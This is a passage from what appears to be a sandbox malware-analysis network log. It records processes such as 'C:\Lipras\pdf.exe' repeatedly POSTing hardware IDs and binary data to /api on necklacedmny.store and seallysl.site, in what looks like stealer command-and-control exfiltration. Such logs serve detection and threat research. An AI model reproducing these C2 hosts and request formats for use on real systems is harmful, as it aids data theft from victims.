59 45 34 38 35 52 32 49 5a 71 59 56 31 34 57 59 59 62 72 56 75 6d 48 6b 63 44 34 62 69 34 6e 4b 4a 4b 37 35 32 30 32 2f 43 4f 30 77 69 2b Data Ascii: iCQtn9UCHhVuhvpX/IiV3f5vJSctnLuiJHv1PfOZZ56IJiGazk0kWHvH4Bf8jt+KtGMtKSiXtOFiMOAloccquJ8wI5jSDAwSao/6XvCLmtXwK2ZqLIT7uioa/y6/yzC9zSloj5gIElg8yf1W/4Ob3PpvJCwlkbTkYDv1L7vJJrCGOSaT1QsYFGWMuRm7hYeSrCsGLSiO+ddpNfwipYE485R2IZqYV14WYYbrVumHkcD4bi4nKJK75202/CO0wi+
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 5a 71 59 56 31 34 55 62 59 6e 79 58 66 2b 43 6d 4e 2f 78 61 43 38 70 4a 70 75 78 37 47 30 2f 2f 69 79 2b 78 79 65 36 69 54 4d 30 6b 39 45 44 45 6c 67 71 79 66 35 50 75 39 72 66 2f 66 4e 39 4b 77 55 6f 6a 62 4b 69 64 58 58 72 5a 62 54 4e 5a 2b 58 4e 4d 53 4f 65 30 77 6b 57 47 48 61 4d 39 31 7a 36 69 4a 6e 54 2b 57 63 75 4b 69 71 63 76 65 35 71 50 50 55 33 6f 63 51 68 72 34 64 32 61 4e 62 66 46 31 35 41 4a 4c 2f 70 51 4f 71 55 33 65 66 33 5a 53 59 74 50 64 79 6b 72 48 4e 37 39 53 6e 7a 6d 57 65 32 6a 54 6f 68 6e 74 34 4c 46 68 64 72 67 4f 74 57 39 34 79 4e 31 66 52 69 4a 69 55 6e 6c 62 62 6c 5a 7a 44 34 4b 4c 66 47 4a 76 33 44 64 69 47 4f 6d 46 64 65 4c 6e 53 45 39 58 6e 77 6a 70 61 53 36 79 55 78 61 69 79 51 2b 37 6f 71 50 2f 34 74 75 63 34 75 74 34 63 35 Data Ascii: ZqYV14UbYnyXf+CmN/xaC8pJpux7G0//iy+xye6iTM0k9EDElgqyf5Pu9rf/fN9KwUojbKidXXrZbTNZ+XNMSOe0wkWGHaM91z6iJnT+WcuKiqcve5qPPU3ocQhr4d2aNbfF15AJL/pQOqU3ef3ZSYtPdykrHN79SnzmWe2jTohnt4LFhdrgOtW94yN1fRiJiUnlbblZzD4KLfGJv3DdiGOmFdeLnSE9XnwjpaS6yUxaiyQ+7oqP/4tuc4ut4c5
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 42 65 56 69 53 4f 34 52 65 6a 77 72 44 31 77 53 6b 4a 45 47 75 44 39 66 73 71 50 50 35 6c 36 34 45 72 76 6f 45 2b 4b 5a 44 52 41 78 51 52 62 34 58 79 55 2f 65 4c 6d 74 54 31 62 69 30 72 4c 35 43 78 35 47 6b 34 2f 53 71 38 79 57 66 7a 7a 54 45 2b 31 6f 42 50 4f 77 39 76 68 2f 38 58 35 4d 79 47 6b 76 4e 6e 61 48 4a 72 6b 4c 4c 6b 62 44 37 2b 4a 4c 58 4a 49 72 57 4a 4e 79 43 51 32 77 41 61 48 57 57 47 2f 56 76 31 69 4a 37 54 2b 47 41 6e 49 53 37 63 39 61 4a 74 49 37 4a 39 38 2f 41 6b 71 35 6f 6d 4b 74 62 48 51 51 64 59 59 34 57 35 44 37 75 44 6a 64 6a 2b 5a 53 30 6c 4c 70 2b 30 35 57 63 39 2f 69 2b 36 79 53 47 79 68 43 51 6c 6d 74 59 49 45 42 52 71 68 50 4e 55 39 73 4c 52 6b 76 4e 7a 61 48 4a 72 73 4c 7a 76 52 44 44 2b 49 76 50 65 61 61 54 4e 4d 53 72 57 67 Data Ascii: BeViSO4RejwrD1wSkJEGuD9fsqPP5l64ErvoE+KZDRAxQRb4XyU/eLmtT1bi0rL5Cx5Gk4/Sq8yWfzzTE+1oBPOw9vh/8X5MyGkvNnaHJrkLLkbD7+JLXJIrWJNyCQ2wAaHWWG/Vv1iJ7T+GAnIS7c9aJtI7J98/Akq5omKtbHQQdYY4W5D7uDjdj+ZS0lLp+05Wc9/i+6ySGyhCQlmtYIEBRqhPNU9sLRkvNzaHJrsLzvRDD+IvPeaaTNMSrWg
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 53 6a 75 6c 48 2b 4d 43 75 78 50 64 39 49 79 63 6e 33 4b 53 73 63 33 76 31 4b 66 4f 5a 5a 37 75 43 50 79 57 5a 32 51 59 53 46 57 47 41 2f 46 62 39 68 70 58 59 39 47 30 75 4b 79 36 57 75 4f 4e 67 4d 76 55 74 74 4d 49 31 2f 63 4e 32 49 59 36 59 56 31 34 78 59 35 76 33 52 37 75 64 30 63 75 30 62 43 52 71 63 39 79 2f 36 47 55 2f 39 53 6d 31 78 43 47 77 6a 44 6b 6e 6c 74 63 4c 46 52 46 69 69 50 52 53 39 6f 61 4e 32 50 39 6b 4a 43 4d 6e 6b 66 75 73 4b 6a 7a 71 5a 65 75 42 46 72 43 44 4f 43 47 41 6d 42 42 51 41 53 53 4f 39 52 65 6a 77 70 37 65 2b 32 67 6e 4b 53 69 64 73 66 42 34 4e 2f 73 74 74 73 30 73 73 34 73 6b 49 4a 6e 52 44 42 30 52 59 34 48 31 58 66 69 46 33 35 79 30 62 44 42 71 63 39 79 59 39 58 6f 32 73 6a 72 39 32 47 65 36 67 58 5a 2b 31 74 41 43 46 68 Data Ascii: SjulH+MCuxPd9Iycn3KSsc3v1KfOZZ7uCPyWZ2QYSFWGA/Fb9hpXY9G0uKy6WuONgMvUttMI1/cN2IY6YV14xY5v3R7ud0cu0bCRqc9y/6GU/9Sm1xCGwjDknltcLFRFiiPRS9oaN2P9kJCMnkfusKjzqZeuBFrCDOCGAmBBQASSO9Rejwp7e+2gnKSidsfB4N/stts0ss4skIJnRDB0RY4H1XfiF35y0bDBqc9yY9Xo2sjr92Ge6gXZ+1tACFh
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 58 76 2b 4b 6e 4e 4c 77 62 79 38 76 4b 4a 43 77 35 57 6b 30 39 69 79 39 79 43 6a 39 77 33 59 68 6a 70 68 58 58 6a 6c 2f 69 76 56 61 75 35 33 52 79 37 52 73 4a 47 70 7a 33 4c 66 73 62 7a 76 34 49 37 66 45 49 62 65 49 4e 69 32 56 31 77 73 59 48 47 75 4a 38 6c 37 36 68 4a 72 59 2f 32 30 6c 4b 53 32 61 2b 36 77 71 50 4f 70 6c 36 34 45 48 70 6f 41 36 49 64 62 48 51 51 64 59 59 34 57 35 44 37 75 4a 6b 39 62 7a 61 79 55 70 49 35 6d 2f 36 47 38 37 2b 6a 65 37 77 53 43 76 6e 7a 59 76 6b 39 51 4d 48 68 78 69 67 50 39 55 2f 38 4c 52 6b 76 4e 7a 61 48 4a 72 73 62 66 6c 51 7a 7a 70 5a 61 79 50 50 76 32 4b 4f 6d 62 4f 6d 41 34 56 45 6d 75 45 2b 6c 48 34 69 5a 72 59 39 57 77 67 4a 7a 6d 66 74 4f 31 75 4f 2f 30 6a 74 63 41 6f 75 34 6f 2f 4a 35 37 66 54 31 42 59 59 35 47 Data Ascii: Xv+KnNLwby8vKJCw5Wk09iy9yCj9w3YhjphXXjl/ivVau53Ry7RsJGpz3Lfsbzv4I7fEIbeINi2V1wsYHGuJ8l76hJrY/20lKS2a+6wqPOpl64EHpoA6IdbHQQdYY4W5D7uJk9bzayUpI5m/6G87+je7wSCvnzYvk9QMHhxigP9U/8LRkvNzaHJrsbflQzzpZayPPv2KOmbOmA4VEmuE+lH4iZrY9WwgJzmftO1uO/0jtcAou4o/J57fT1BYY5G
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 70 6a 46 2b 79 74 6d 61 69 54 63 34 39 73 71 4d 76 55 2b 6f 74 63 71 72 59 70 32 47 64 69 59 46 31 35 41 4a 4c 7a 36 57 66 57 46 69 63 4f 35 54 44 34 67 4c 49 79 38 39 57 56 37 76 47 57 31 67 58 2f 75 77 33 59 69 68 35 68 58 54 6b 6f 2f 33 4b 6f 41 71 39 43 41 6e 4f 30 72 50 6d 70 7a 7a 76 57 69 65 48 75 71 5a 66 54 43 4e 61 2b 4c 4e 54 43 56 6e 7a 45 67 50 33 36 45 2f 30 44 71 76 4b 48 56 37 6d 59 75 50 54 72 51 72 75 46 6b 4e 66 55 7a 38 34 39 6e 73 73 31 75 48 39 61 51 54 79 46 57 4a 4a 47 35 44 37 75 33 6e 4e 7a 36 62 44 34 37 5a 72 75 68 37 32 77 73 34 32 58 39 67 53 48 39 31 57 5a 6f 31 74 77 65 58 6b 41 30 32 36 49 43 71 4e 58 50 67 4f 73 6c 4d 57 6f 39 33 4f 4f 77 4a 48 76 67 5a 65 75 42 59 4c 36 66 4a 43 43 56 7a 67 78 5a 4a 6c 71 6e 2f 6c 48 2b Data Ascii: pjF+ytmaiTc49sqMvU+otcqrYp2GdiYF15AJLz6WfWFicO5TD4gLIy89WV7vGW1gX/uw3Yih5hXTko/3KoAq9CAnO0rPmpzzvWieHuqZfTCNa+LNTCVnzEgP36E/0DqvKHV7mYuPTrQruFkNfUz849nss1uH9aQTyFWJJG5D7u3nNz6bD47Zruh72ws42X9gSH91WZo1tweXkA026ICqNXPgOslMWo93OOwJHvgZeuBYL6fJCCVzgxZJlqn/lH+
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 4e 39 4f 57 63 4d 6b 72 7a 6a 66 43 76 6c 4b 76 4f 50 5a 37 76 4e 62 6e 54 59 6d 41 73 50 57 44 7a 5a 71 77 79 75 30 63 69 43 70 6e 52 6d 4d 32 75 4b 2b 37 6f 34 64 62 49 33 38 35 6c 6e 2b 6f 34 6b 4e 4a 44 62 47 52 31 66 57 72 66 65 57 66 79 44 69 63 4c 6a 5a 47 63 45 48 62 32 46 33 48 38 34 2f 43 75 30 31 7a 62 39 77 33 59 70 31 6f 41 32 58 6c 41 6b 74 72 63 58 34 38 4c 48 6b 73 46 6f 4a 69 51 73 69 71 71 76 54 54 58 31 4a 4b 58 52 4d 4c 4c 43 47 42 43 33 6d 45 46 65 48 69 54 52 71 78 6d 37 68 6f 36 53 72 44 74 36 63 58 37 50 37 4c 49 34 4a 4c 77 38 38 39 64 6e 35 64 39 34 5a 6f 53 59 56 31 35 66 5a 35 76 72 55 66 69 55 6e 4a 58 4b 56 51 38 6b 4c 4a 32 74 38 6d 63 33 30 79 61 69 79 78 6d 44 6d 44 55 6f 6d 4e 38 5a 44 31 67 71 79 66 59 58 6f 37 76 66 6d Data Ascii: N9OWcMkrzjfCvlKvOPZ7vNbnTYmAsPWDzZqwyu0ciCpnRmM2uK+7o4dbI385ln+o4kNJDbGR1fWrfeWfyDicLjZGcEHb2F3H84/Cu01zb9w3Yp1oA2XlAktrcX48LHksFoJiQsiqqvTTX1JKXRMLLCGBC3mEFeHiTRqxm7ho6SrDt6cX7P7LI4JLw889dn5d94ZoSYV15fZ5vrUfiUnJXKVQ8kLJ2t8mc30yaiyxmDmDUomN8ZD1gqyfYXo7vfm
2024-10-29 23:21:40 UTC	1369	IN	Data Raw: 55 46 62 47 70 35 58 6f 34 73 41 6d 30 7a 43 75 44 73 77 45 33 6b 63 68 4e 4f 42 74 79 69 72 6b 5a 75 35 72 66 69 72 52 47 4f 69 30 37 6e 2f 6e 4f 62 54 62 2b 5a 61 79 50 50 76 32 62 64 6e 37 46 6c 6b 38 4d 57 44 7a 4a 76 6c 54 70 6b 4a 6e 52 34 6d 68 76 46 42 57 78 71 65 56 36 4f 4c 41 55 76 73 55 78 71 49 34 6d 49 61 6a 6d 49 67 77 66 64 49 71 37 63 73 48 41 72 73 54 33 61 79 59 74 61 39 4c 37 2b 69 70 6a 73 67 69 68 78 6a 65 2b 7a 78 4d 63 31 4f 6b 5a 48 52 68 71 6a 72 6c 49 74 5a 76 66 78 4c 51 7a 65 32 52 72 6a 76 75 36 4b 6e 7a 38 4b 4c 4c 43 4b 62 36 66 4a 43 43 56 7a 67 78 5a 4a 6c 71 6d 38 6c 62 72 6a 34 37 66 38 48 30 57 46 41 79 61 76 75 56 55 42 63 55 30 74 4e 46 6c 6d 34 34 67 4a 64 61 57 54 77 5a 59 50 4d 6e 65 55 66 36 46 33 35 79 30 62 32 Data Ascii: UFbGp5Xo4sAm0zCuDswE3kchNOBtyirkZu5rfirRGOi07n/nObTb+ZayPPv2bdn7Flk8MWDzJvlTpkJnR4mhvFBWxqeV6OLAUvsUxqI4mIajmIgwfdIq7csHArsT3ayYta9L7+ipjsgihxje+zxMc1OkZHRhqjrlItZvfxLQze2Rrjvu6Knz8KLLCKb6fJCCVzgxZJlqm8lbrj47f8H0WFAyavuVUBcU0tNFlm44gJdaWTwZYPMneUf6F35y0b2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	59836	188.114.97.3	443	4280	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:40 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 23:21:40 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	59840	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:42 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12830 Host: seallysl.site
2024-10-29 23:21:42 UTC	12830	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-29 23:21:42 UTC	1004	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=etldv3bih0kthsd0m0poagr2vs; expires=Sat, 22 Feb 2025 17:08:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GtVKRwD2yO6JDUOL6Y6mGIFdCY1sG2146Rd9pAzCfzULvUe4pbLTXKvkEbxu%2F0v6RSY%2Fp27HlyRkTIeaKPMQXOqL8Air4LU3LWdIm5ybnolfzYZkLubPaqwTnAlaVSMb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7460b5e0bbb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1405&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13767&delivery_rate=1948855&cwnd=251&unsent_bytes=0&cid=1ef6a579e93ddfe3&ts=521&x=0"
2024-10-29 23:21:42 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	59843	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:45 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15072 Host: seallysl.site
2024-10-29 23:21:45 UTC	15072	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-29 23:21:45 UTC	1011	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2furjeh2rr4lklskfedf3vkjbb; expires=Sat, 22 Feb 2025 17:08:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O5kGbj9ydiXDGGIVaSwAmrJZtIEs5c%2B%2FRO3SVxbfVDP%2BeZM%2FFdNZhUxgUKWQL0niG8ouYLneQBrlu4ZkKHCgvR%2Fy1bK9bkGxmPpIbn8dBAU4bh9iZSuCiE2hmHAlVcZD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e7597d7fe916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1049&sent=10&recv=20&lost=0&retrans=1&sent_bytes=2832&recv_bytes=16009&delivery_rate=2070050&cwnd=251&unsent_bytes=0&cid=ef216ae55550e1cc&ts=431&x=0"
2024-10-29 23:21:45 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	59845	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:48 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20562 Host: seallysl.site
2024-10-29 23:21:48 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
2024-10-29 23:21:48 UTC	5231	OUT	Data Raw: 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 Data Ascii: vMMZh'F3Wun 4F([:7s~X`nO`
2024-10-29 23:21:49 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7to7ou2oq6s06jpt2tvumbnes7; expires=Sat, 22 Feb 2025 17:08:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=291kkaM%2FA0jM2Ppbe2jfSGsQK%2BZuxeqbeZ6xUDgEdVg%2FefQgAcf2eXIL%2FueT7od47Mrh9%2BVi2i9aNhj9iOXbQ6bgxemuOZH2k8EqaWkHrpx2c%2FPI7RwdZUB4eLqvavtC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e76e6b47e5b5-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1407&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21521&delivery_rate=1681765&cwnd=251&unsent_bytes=0&cid=8c7f5e5209c9dc3d&ts=1000&x=0"
2024-10-29 23:21:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	59847	104.21.43.145	443	6384	C:\Lipras\pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:51 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1318 Host: seallysl.site
2024-10-29 23:21:51 UTC	1318	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 67 33 39 32 73 4d 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"g392sM----b
